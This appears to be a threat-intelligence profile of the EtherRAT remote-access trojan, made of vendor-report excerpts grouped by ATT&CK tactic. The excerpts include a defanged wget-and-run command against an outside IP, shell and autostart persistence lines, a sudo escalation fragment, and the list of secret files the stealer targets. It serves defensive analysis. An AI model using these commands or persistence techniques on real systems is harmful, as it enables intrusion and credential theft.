EtherRAT
- Type
- RAT
- Capabilities
- PersistencePost exploitationDefense evasionReconnaissance
- Delivery
- PhishingVishingSeo poisoningClickfixLure
- Platforms
- Windows
EtherRAT is a Node.js-based remote-access trojan and backdoor targeting Windows systems. Its defining feature is Ethereum-based command-and-control discovery: the implant queries smart contracts through public JSON-RPC providers to retrieve its current external C2 destination. This EtherHiding dead-drop resolver allows operators to rotate infrastructure without replacing deployed implants. Observed implementations query multiple providers, select the majority response, and refresh the configuration approximately every five minutes. The blockchain supplies connection information rather than carrying all operational commands.
EtherRAT executes attacker-supplied JavaScript with the privileges of its running account, enabling command execution, file access, process creation, network communication, and additional-payload retrieval. Associated endpoint activity includes system and security-product reconnaissance, network-resource enumeration, and screenshot capture. Installation chains use obfuscated PowerShell and JavaScript, encrypted payloads, and a legitimate Node.js runtime that is reused or downloaded as needed. Observed variants establish persistence through a user-level Windows Run key, conceal execution through renamed components and misleading file extensions, and disguise C2 polling as ordinary image or stylesheet requests.
Distribution includes malicious MSI packages impersonating administrative utilities, search-engine poisoning leading to fraudulent GitHub repositories, ClickFix lures, and corporate IT-support impersonation through Microsoft Teams voice calls. Hospitality-focused phishing campaigns deliver archives containing malicious Windows shortcuts disguised as images, using fabricated guest complaints, negative reviews, and legal threats. Administrators and technical users have also been targeted. EtherRAT has been deployed by an affiliate of the Gentlemen ransomware operation to maintain access within Windows networks, but that association does not establish a single operator for the malware family or make EtherRAT itself ransomware.
Associated vulnerabilities
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
6 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
“EtherRAT, a Node.js implant that reads its C2 address from an Ethereum contract.”
Threat actors are weaponizing something as ordinary as a Microsoft Teams call to slip past corporate defenses and plant EtherRAT, a stealthy cross-platform remote access trojan.
Cybercriminals are using fake IT support calls on Microsoft Teams to persuade employees to surrender control of their PCs before installing the EtherRAT remote access trojan... EtherRAT is a Node.js RAT that runs across Windows, Linux, and macOS...
Ultimately, Atos Researchers identified it to be an EtherRat malware, a recently emerging threat using Ethereum to store C2 URL addresses, preventing takedown of the infrastructure.
this payload, dubbed EtherRAT, represents something far more sophisticated. It is a persistent access implant that combines techniques from at least three documented campaigns into a single, previously unreported attack chain.
“this payload, dubbed EtherRAT… is a persistent access implant… EtherRAT leverages Ethereum smart contracts for command-and-control (C2) resolution…”
Techniques & procedures
99 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
2 techniques
Reconnaissance
During the call, the attacker persuades the target to hand over remote control and install legitimate remote administration tools such as HopToDesk or AnyDesk.
threat actors are impersonating IT support staff via Microsoft Teams voice calls to trick employees into installing the EtherRAT malware
Resource Development
2 techniques
Resource Development
Le même compte GitHub hébergeait plusieurs autres dépôts imitant des utilitaires légitimes.
The campaign works by poisoning search engine results across multiple major platforms, including Bing, Yahoo, DuckDuckGo, and Yandex. When IT staff search for tools like PsExec, AzCopy, Sysmon, LAPS, or KustoExplorer, the search results surface fake, professional-looking GitHub repositories at the top of the page.
Initial Access
9 techniques
Initial Access
the target receives an unsolicited Teams voice call from an external account impersonating a “System Administrator.”
A Domain Admin session on the domain controller less than an hour after initial access.
credentials that should never have left the network were suddenly used from an unauthorized external source... The trail led back to a single server: their public-facing web application.
EtherRAT was embedded inside a trojanized copy of Tftpd64, a widely used TFTP server and administration tool for Windows. The compromised version was hosted on a fake GitHub repository that impersonated the official project, offering downloads labeled “Tftpd64 v4.74” to trick users into installing what appeared to be a legitimate update.
The campaign begins with a phishing email carrying an “Employee Survey” lure and a malicious PDF attachment.
The campaign, detailed by Palo Alto Networks' Unit 42, begins with a phishing email containing a malicious PDF.
These documents ask the user to click a link to view another document.
The compromised distribution investigated by our team originated from a malicious GitHub repository impersonating the official project and offering downloads for “Tftpd64 v4.74.” Users who retrieved the ZIP or MSI file unknowingly received a bundle containing the EtherRAT implant embedded alongside legitimate‑looking components.
Researchers have classified this initial-access technique as voice-call phishing, or “vishing”, combined with cross-tenant impersonation.
Execution
14 techniques
Execution
The attackers used administrative shares, Windows Management Instrumentation, and remote task registration to reach internal hosts.
The operators used remote scheduled tasks to push malicious installer packages to other systems.
The script also establishes persistence by creating... a Cron task... If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... crontab.
The recovered script below creates remote scheduled tasks that download and silently install an MSI package.
PowerShell for the EtherRAT loader and the locker deployment script, JavaScript on a bundled Node.js runtime for the implant.
The locker deployment script, built in memory, run, and deleted.
deploy2.cmd uses a batch for loop to iterate through local IP addresses, creating remote Scheduled Tasks named WinSvcUpdate2.
After compromising a host via the React2Shell vulnerability, threat actors executed the following commands inside a container: /bin/sh -c 'cd /tmp; wget hxxp://176.117.107[.]154/bot; chmod 777 bot; ./bot...'
The implant runs each C2 task as async JavaScript with require, process, and Buffer passed in.
Déployé silencieusement sur quatre endpoints via le mécanisme MDM ( MDMAppInstaller.exe / omadmclient.exe ). Intune lui-même n’a pas été compromis.
the attacker downloads and runs a malicious MSI installer that quietly fetches a legitimate Node.js runtime onto the compromised machine. The installer then decrypts hidden payloads bundled inside it, eventually launching the EtherRAT malware itself.
The threat actors leveraged the CVE‑2025‑55182 (React2Shell) vulnerability... Under certain conditions, this can enable an attacker to execute arbitrary code on the server.
often using fake CAPTCHA lures to trick users into executing code via malicious copy and paste (aka paste and run, ClickFix, fakeCAPTCHA)
Le MSI malveillant a ensuite été importé dans Microsoft Intune comme installeur légitime d’Advanced IP Scanner [...] puis déployé silencieusement sur quatre endpoints.
Persistence
19 techniques
Persistence
The malware establishes persistence through... .bashrc : (nohup /usr/bin/node <jsPath> >/dev/null 2>&1 &) ... .profile : (/usr/bin/node <jsPath> >/dev/null 2>&1 &)
Five persistence mechanisms : Systemd services, XDG autostart, cron jobs, bashrc injection, and profile injection.
The operators used remote scheduled tasks to push malicious installer packages to other systems.
The script also establishes persistence by creating... a Cron task... If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... crontab.
The recovered script below creates remote scheduled tasks that download and silently install an MSI package.
the target receives an unsolicited Teams voice call from an external account impersonating a “System Administrator.”
A Domain Admin session on the domain controller less than an hour after initial access.
The script created a local administrator account, attempted to add it to Domain Admins
What is the comment field in the attacker’s injected SSH public key?... ssh-rsa <public key> <comment> ... maromalix@ether_dev
The intrusion enables RDP, disables RDP Network Level Authentication, modifies UAC-related policy values and creates the EtherRAT Run value.
The script created a local administrator account, attempted to add it to Domain Admins
The script created a local administrator account
EtherRAT is a Node.js RAT that runs across Windows, Linux, and macOS, giving attackers the usual menu of post-compromise tricks: running commands, stealing data, manipulating files, and maintaining access.
What is the filename of the systemd user service created for persistence?... c16a536e1a9cb42d.service
If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... .bashrc ... .profile
The malware establishes persistence through... XDG Autostart: [Desktop Entry] Type=Application Name=System Service Exec=/usr/bin/node /<jsPath>
The implant persists through HKCU\Software\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate on the two infected servers.
T1547.013 XDG Autostart Entries is a technique in the MITRE ATT&CK framework under the Persistence tactic. It refers to the use of XDG Autostart Entries in Linux systems to automatically execute applications when a user logs into their desktop environment.
This script automatically modifies the configuration of nginx and Apache web servers in order to force all HTTP and HTTPS traffic to redirect to an external domain.
Privilege Escalation
17 techniques
Privilege Escalation
The malware establishes persistence through... .bashrc : (nohup /usr/bin/node <jsPath> >/dev/null 2>&1 &) ... .profile : (/usr/bin/node <jsPath> >/dev/null 2>&1 &)
Five persistence mechanisms : Systemd services, XDG autostart, cron jobs, bashrc injection, and profile injection.
The operators used remote scheduled tasks to push malicious installer packages to other systems.
The script also establishes persistence by creating... a Cron task... If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... crontab.
The recovered script below creates remote scheduled tasks that download and silently install an MSI package.
Stage 3 is the malware’s main payload, a JavaScript file that runs silently in the background on every system boot inside conhost.exe, a legitimate Windows process, so it does not stand out in Task Manager.
the target receives an unsolicited Teams voice call from an external account impersonating a “System Administrator.”
A Domain Admin session on the domain controller less than an hour after initial access.
The script created a local administrator account, attempted to add it to Domain Admins
What is the comment field in the attacker’s injected SSH public key?... ssh-rsa <public key> <comment> ... maromalix@ether_dev
EtherRAT is a Node.js RAT that runs across Windows, Linux, and macOS, giving attackers the usual menu of post-compromise tricks: running commands, stealing data, manipulating files, and maintaining access.
What is the filename of the systemd user service created for persistence?... c16a536e1a9cb42d.service
If executed without root privileges... adds it to both crontab (via @reboot) and .bashrc... EtherRAT establishes persistence through... .bashrc ... .profile
The malware establishes persistence through... XDG Autostart: [Desktop Entry] Type=Application Name=System Service Exec=/usr/bin/node /<jsPath>
The implant persists through HKCU\Software\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate on the two infected servers.
T1547.013 XDG Autostart Entries is a technique in the MITRE ATT&CK framework under the Persistence tactic. It refers to the use of XDG Autostart Entries in Linux systems to automatically execute applications when a user logs into their desktop environment.
If the payload runs without root privileges, it attempts to re-execute the hijacking logic with elevated permissions: `sudo node -e ...`
Stealth
19 techniques
Stealth
Script PowerShell obfusqué [...] Exécution d’un JavaScript obfusqué ( DdkExG1tIy.ini )
After startup, the RAT sends its own source code to the C2 server. The C2 responds with a newly obfuscated version of the script, which is written back to disk, making each execution generate a new file hash.
The cleartext implant never touches disk and exists only in the pipe between the two processes.
Téléchargement ou réutilisation d’un runtime Node.js légitime, renommé ( FbtRYX8x.exe )
Un second dépôt GitHub impersonant Advanced IP Scanner a été découvert, distribuant un MSI malveillant.
Stage 3 is the malware’s main payload, a JavaScript file that runs silently in the background on every system boot inside conhost.exe, a legitimate Windows process, so it does not stand out in Task Manager.
download the Node.js runtime from its official distribution endpoint to a temporary archive via curl, extract it into a build-specific runtime subdirectory within the staging directory, and delete the zip archive to minimize forensic artifacts on disk.
the target receives an unsolicited Teams voice call from an external account impersonating a “System Administrator.”
A Domain Admin session on the domain controller less than an hour after initial access.
the attacker downloads and runs a malicious MSI installer that quietly fetches a legitimate Node.js runtime, then decrypts hidden payloads bundled inside it
The deployment scripts used certutil.exe, a legitimate Windows utility, to retrieve an MSI package, then invoked msiexec.exe to install it quietly. | The deployment scripts used certutil.exe, a legitimate Windows utility, to retrieve an MSI package
invoked msiexec.exe to install it quietly
EtherRAT does not hardcode a C2 domain. Instead it uses EtherHiding for evasion, meaning that it reads its C2 address from the Ethereum blockchain.
The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?... ru
...enables EtherRAT to establish a concealed directory within the local app data folder while deploying a self-contained Node.js runtime and other staged components to evade security tools...
What is the hidden directory path used by the malware to store its components?... ~/.local/share/.05bf0e9b
The PowerShell loader relaunches itself through conhost.exe --headless.
Stage 2 is a minimal Node.js script, unobfuscated and fully readable, that is never saved to disk... decrypt it using a hardcoded key and initialization vector (IV), and execute it in memory.
Updated 2026-06-28-Fake-IT-support-abuses-Teams-to-deliver-EtherRAT.txt
Defense Impairment
3 techniques
Defense Impairment
The intrusion enables RDP, disables RDP Network Level Authentication, modifies UAC-related policy values and creates the EtherRAT Run value.
This script automatically modifies the configuration of nginx and Apache web servers in order to force all HTTP and HTTPS traffic to redirect to an external domain.
The script created a local administrator account, attempted to add it to Domain Admins, disabled security services
Credential Access
7 techniques
Credential Access
disabled security services, exported registry hives
The payload maintains a list of 50+ high-value filenames: '.env' ... 'wallet.json' ... 'id_rsa' ... '.git-credentials' ... 'terraform.tfvars' ... The scan recursively walks search directories...
Targeted secret patterns... Ethereum private keys (64 hex chars), PEM/SSH private keys... SSH private keys (id_rsa, id_ed25519, id_ecdsa)
This is a script that functions as a JS-based stealer designed to collect and exfiltrate a wide array of sensitive user data, including cryptocurrency wallets, access tokens, cloud service configurations, and database credentials.
Windows: %APPDATA%\Ethereum... Chrome/Brave extension storage (MetaMask, Phantom, etc.)
This script automatically modifies the configuration of nginx and Apache web servers in order to force all HTTP and HTTPS traffic to redirect to an external domain.
What is the endpoint path used for exfiltrating harvested credentials?... /crypto/keys
Discovery
15 techniques
Discovery
T1016 — System Network Configuration Discovery (Discovery)
cmd.exe /d /s /c “net session”
Script 3... generates random public IPv4 addresses and tries them against ports 80, 443, 3000, 3001, 8080, 8443. After identifying a host vulnerable to React2Shell, it exploits the vulnerability...
Énumération réseau via net session et net use
The alive.sh script executes ps -eo pid,pcpu --no-headers... The script also records... a list of running web server processes.
Collecte d’informations système : locale Windows, antivirus installés, GPU, appartenance au domaine, Machine GUID, disques logiques
Decoded commands: ls ... nslookup `ls`... The JS-based stealer recursively traverses directories with a depth limit... scans home and system directories...
...obtaining Active Directory domain membership...
EtherRAT does not hardcode a C2 domain. Instead it uses EtherHiding for evasion, meaning that it reads its C2 address from the Ethereum blockchain.
The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?... ru
Antivirus detection... Windows: queries SecurityCenter2 WMI namespace // Linux: searches process list for known AV processes
Collecte d’informations système : locale Windows, antivirus installés, GPU, appartenance au domaine, Machine GUID, disques logiques
it also extracts tokens and API keys from various services, including ... cloud providers (AWS, GCP, Azure) ... extracts AWS configuration files, gcloud-credentials
extracts AWS configuration files, gcloud-credentials, and Kubernetes and Docker configuration files
...obtaining Active Directory domain membership, system locale, and other details...
Lateral Movement
5 techniques
Lateral Movement
Once the victim answers, the attacker persuades them to enable Teams' built-in screen sharing feature, granting remote control of the device.
The attackers used administrative shares, Windows Management Instrumentation, and remote task registration to reach internal hosts. | A fallback path copied the installer through SMB.
Déployé silencieusement sur quatre endpoints via le mécanisme MDM ( MDMAppInstaller.exe / omadmclient.exe ). Intune lui-même n’a pas été compromis.
This module continuously scans the internet for vulnerable Next.js servers and exploits React2Shell (CVE-2025-55182) to propagate the same vulnerability used in the initial compromise.
EtherRAT’s capabilities include modules for credential theft, lateral movement, and web server hijacking.
Collection
3 techniques
Collection
EtherRAT can execute commands, steal data, and maintain persistence
Capture d’écran via PowerShell (.NET System.Windows.Forms / System.Drawing ), encodée en Base64 et écrite dans %LOCALAPPDATA%\Temp\ss_1790589100185.txt
The collection contained scripts, task configurations, installers, tunnelling tools, and reverse shells... preserve several routes back into a victim environment while collecting credentials and Active Directory data.
Command and Control
10 techniques
Command and Control
EtherRAT queried Ethereum for its command-and-control configuration... The attacker later updated the configuration to point to a TryCloudflare tunnel, enabling communications with the installed malware.
HTTPS long poll to the C2, disguised as static file requests.
The script created a local administrator account, attempted to add it to Domain Admins, disabled security services, exported registry hives, and set up a tunnel for remote access.
Five hours later, the attacker dropped EtherRAT and set up a Cloudflare tunnel using a renamed copy of cloudflared... A reverse shell on port 43301 and multiple Chisel SOCKS tunnels gave them layered persistence
A reverse shell on port 43301 and multiple Chisel SOCKS tunnels gave them layered persistence that could survive individual detections.
It is a Node.js implant that resolves its C2 from an Ethereum contract, a technique known as EtherHiding.
The contract maps the operator wallet to a C2 string. The implant calls getString.
The harvester and the implant installer were uploaded over WinRM into the Domain Admin profile on the domain controller.
It also staged reverse-shell tooling, giving the operator backup options if one access route failed.
The implant asks all seven RPC providers in parallel, keeps only answers with an http, https, ws, or wss scheme, takes the majority answer, and repeats every five minutes.
Exfiltration
2 techniques
Exfiltration
This allows the attacker to execute new commands, perform operations on files and folders, modify the registry, and exfiltrate data.
The use of 'webhook.site' (a legitimate debugging service) for exfiltration is notable because it provides a disposable, anonymous endpoint that doesn't require attacker-controlled infrastructure.
Impact
1 technique
Impact
...a new hybrid attack campaign that combines system compromise with cryptocurrency theft... before downloading another Node.js runtime and targeting several Ethereum RPC endpoints and Ethereum wallet addresses.
Observables
240 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
114 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.